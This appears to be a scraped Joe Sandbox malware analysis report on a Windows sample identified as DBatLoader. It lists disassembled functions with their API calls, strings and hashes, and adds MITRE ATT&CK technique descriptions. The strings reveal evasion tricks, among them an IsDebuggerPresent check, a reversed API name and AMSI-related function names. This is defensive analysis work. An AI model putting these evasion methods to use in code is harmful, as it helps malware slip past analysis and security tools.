Function 0284AA80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0284AC50,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0284AAAF

Part of subcall function 0284A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0284A762

Strings

yyyy, xrefs: 0284ABA5
ggg, xrefs: 0284AB95
eeee, xrefs: 0284ABBE

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: faa2277a8e053d72079ed941497891db38181f0238fa866ceb0dc0c30891da4d
Instruction ID: 0bd12f2436b13f55f4f83375243987d1995b87788b921cb733511cbd1b198157
Opcode Fuzzy Hash: faa2277a8e053d72079ed941497891db38181f0238fa866ceb0dc0c30891da4d
Instruction Fuzzy Hash: DA41263D78411D4BE749EB7C88A077EF3EBDB85204B504526E552CF344EE78DA068A22

Function 02858018 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02858088,?,?,00000000,?,028579FE,ntdll,00000000,00000000,02857A43,?,?,00000000), ref: 02858056

Part of subcall function 028580C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02858148,?,?,00000000,00000000,?,02858061,00000000,KernelBASE,00000000,00000000,02858088), ref: 0285810D
Part of subcall function 028580C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02858113
Part of subcall function 028580C0: GetProcAddress.KERNEL32(?,?), ref: 02858125

GetModuleHandleA.KERNELBASE(?), ref: 0285806A

Strings

KernelBASE, xrefs: 02858051
AeldnaHeludoMteG, xrefs: 02858031

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: e22d3f81f63f6873bef93e6a7652fd68d7fdd904bce6ab1a9a0caccaf32dbedd
Instruction ID: 3d609a3001061af49bdc614cc085d5d4e028a178eaab0ee5fb40a0af821caa66
Opcode Fuzzy Hash: e22d3f81f63f6873bef93e6a7652fd68d7fdd904bce6ab1a9a0caccaf32dbedd
Instruction Fuzzy Hash: 52F0623C644318AFE710EBA8DC51A5EB7ADFB4A7007914521FD00D3610DE74AD409E66

Function 0285EFC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,0285F3CC,UacInitialize,028A237C,0286B40C,UacScan,028A237C,0286B40C,ScanBuffer,028A237C,0286B40C,OpenSession,028A237C,0286B40C,ScanString), ref: 0285EFCE
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 0285EFE0

Strings

KernelBase, xrefs: 0285EFC9
IsDebuggerPresent, xrefs: 0285EFDA

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: 0b4d599dc2fc03a6fb1f4689ee710838868734a473553f515c2156f538ad00bb
Instruction ID: c89074e88c3670bed14203a52c91fb356090e53b48307f903cb4dae4b52e918d
Opcode Fuzzy Hash: 0b4d599dc2fc03a6fb1f4689ee710838868734a473553f515c2156f538ad00bb
Instruction Fuzzy Hash: D2D0126E3553741EB60036F81CC481E024C8A565697240EA1B536D65D3FE7B89911615

Function 0284C3F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0286D10B,00000000,0286D11E), ref: 0284C3FA
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 0284C40B

Strings

kernel32.dll, xrefs: 0284C3F5
GetDiskFreeSpaceExA, xrefs: 0284C405

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 5c30a58fe6fb9b50a16c4eb36a29862d70b8c0d3a09a0eef837ec2d41f6e41a6
Instruction ID: cb90d2b29fb1163dac2180333fb41b7b0cb5b48088855f958787ad5582379581
Opcode Fuzzy Hash: 5c30a58fe6fb9b50a16c4eb36a29862d70b8c0d3a09a0eef837ec2d41f6e41a6
Instruction Fuzzy Hash: 0AD0A76CE4231C4FF7006FB5698AA3626CC9705346F80E827E005D9243EFB5C4144FD4

Function 0284E168 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0284E217
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0284E233
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0284E2AA
VariantClear.OLEAUT32(?), ref: 0284E2D3

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 15f351f2e4cfb2cc0e0a3a5cadd1d66873f359063f32eb12db76202a83ce13d1
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: BB41D77DA0162D9BCB62DB58CC90BD9B3BDBF59214F0042D5EA49E7211DA34AF808F51

Function 0284ACBC Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0284ACD9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0284ACFD
GetModuleFileNameA.KERNEL32(02840000,?,00000105), ref: 0284AD18
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0284ADAE

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: e8aab50ecc8a0cd31511b03685991bb43f384e10bf356dfa13acdf1ced713153
Instruction ID: 346cf67bcd1b1210a50d8d6d2a06d05aaaa379a634d305c14a9dcbc619d1335f
Opcode Fuzzy Hash: e8aab50ecc8a0cd31511b03685991bb43f384e10bf356dfa13acdf1ced713153
Instruction Fuzzy Hash: 01411F7D94025C9BDB21DB68CC84BDAB7FDAB18301F0440E6A548EB241DF74AF848F51

Function 0284ACBA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0284ACD9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0284ACFD
GetModuleFileNameA.KERNEL32(02840000,?,00000105), ref: 0284AD18
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0284ADAE

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 93674a93ff0d5307a6e46eb6ecf74b1fe514d13d48c85f94461c3f99a1017e12
Instruction ID: 67b0240be4742119ae352b610a6a05ed153d435405a9c93b65fb9b15889df838
Opcode Fuzzy Hash: 93674a93ff0d5307a6e46eb6ecf74b1fe514d13d48c85f94461c3f99a1017e12
Instruction Fuzzy Hash: AA410E7CA4025C9BDB21EB68DC84BDAB7FDAB18301F0440E5A548EB251DF74AF888F51

Function 02841C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3909d61fe602c4af146126b32b676fde955e794a1aca4d3b50ff5620a6c5a160
Instruction ID: fad1486544d6735cec7d0c650a1820e1bf16ce6be00253579240a257723ff37c
Opcode Fuzzy Hash: 3909d61fe602c4af146126b32b676fde955e794a1aca4d3b50ff5620a6c5a160
Instruction Fuzzy Hash: FCA1F7AE7106080BD718EA7CDC883ADB3C69BC4365F18827EE11DCB785EF64C9D68651

Function 0284946C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,0284955A), ref: 028494F2
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,0284955A), ref: 028494F8

Strings

yyyy, xrefs: 028494CD

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: c0d2f20f002ec6f7788a62b90ee45dd019069812cf3bac8a090ca876cc8d1a01
Instruction ID: 79bf8ad1dcb8e582ebc988ad8b1dd132f38dbc683d97aaee388adc245e736296
Opcode Fuzzy Hash: c0d2f20f002ec6f7788a62b90ee45dd019069812cf3bac8a090ca876cc8d1a01
Instruction Fuzzy Hash: C3216D7DA0021C9FDB20DFA8C841BAEB3B9EF49710F5240A5E949E7250DB749E40CB66

Function 0285AD5C Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 0285AD90
IsBadWritePtr.KERNEL32(?,00000004), ref: 0285ADC0
IsBadReadPtr.KERNEL32(?,00000008), ref: 0285ADDF
IsBadReadPtr.KERNEL32(?,00000004), ref: 0285ADEB

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
Instruction ID: cdce24b10ae1403e1cf26359b802db9ca37cc5957a34e72dee741892b122ec27
Opcode Fuzzy Hash: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
Instruction Fuzzy Hash: 5421A2BD64022D9BDB14DF69CCC0BAE73A9EF40322F008251EE54D7340EB34E9119AA0

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report JDQS879kiy.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Windows Analysis Report
JDQS879kiy.exe

Function 0285F0A8 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535
filesleepCOMMON

Function 02845A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Function 0285F024 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Function 0285DFE4 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Function 0285E72C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Function 02857CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
nativeCOMMON

Function 02856D48 Relevance: 1.5, APIs: 1, Instructions: 48
comCOMMON

Function 02841724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Function 02858704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Function 02841A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Function 0285E72A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Function 0285881C Relevance: 6.1, APIs: 4, Instructions: 65
libraryloaderCOMMON

Function 0284E2E4 Relevance: 4.5, APIs: 3, Instructions: 45
COMMON

Function 0285705C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256
COMMON

Function 0284E37C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON